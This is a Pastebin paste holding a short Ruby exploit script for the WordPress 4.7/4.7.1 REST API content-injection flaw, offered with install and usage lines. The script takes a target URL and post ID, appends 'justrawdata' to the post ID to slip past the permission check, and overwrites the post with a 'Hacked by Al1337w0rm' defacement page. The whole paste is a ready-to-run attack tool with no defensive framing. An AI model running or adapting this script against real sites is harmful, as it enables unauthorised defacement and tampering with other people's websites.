Advertisement
Al1337w0rm

WordPress 4.7 / 4.7.1 Content Injection

Feb 7th, 2017
281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.65 KB | None | 0 0
  1. # fix : gem install rest-client
  2. # usage : ruby file.rb
  3.  
  4. require 'rest-client'
  5. require 'json'
  6. puts "Enter Target URL!"
  7. targeturi = gets.chomp
  8. puts "Enter Post ID"
  9. postid = gets.chomp.to_i
  10. response = RestClient.post(
  11.   "#{targeturi}/wp-json/wp/v2/posts/#{postid}",
  12.   {
  13.  
  14.     "id" => "#{postid}justrawdata",
  15.     "title" => "Hacked by Al1337w0rm",
  16.     "slug" => "pwned.htm",
  17.     "content" => "<h1>Hacked by Al1337w0rm</h1><br><pre>FUCK ISIS!</pre>",
  18.  
  19.  
  20.   }.to_json,
  21.   :content_type => :json,
  22.   :accept => :json
  23. ) {|response, request, result| response }
  24. if(response.code == 200)
  25.  
  26. puts "Yeah, '#{targeturi}/?p=#{postid}'"
  27.  
  28.  
  29. else
  30. puts "Failed!"
  31. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement